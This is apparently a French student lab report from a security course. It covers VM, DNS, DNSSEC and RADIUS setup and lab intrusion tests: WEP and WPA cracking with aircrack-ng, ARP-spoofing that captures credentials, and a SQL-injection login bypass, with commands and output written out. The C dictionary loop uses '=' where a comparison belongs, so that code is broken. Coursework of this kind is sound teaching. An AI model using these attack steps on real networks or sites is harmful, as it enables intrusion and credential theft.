On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
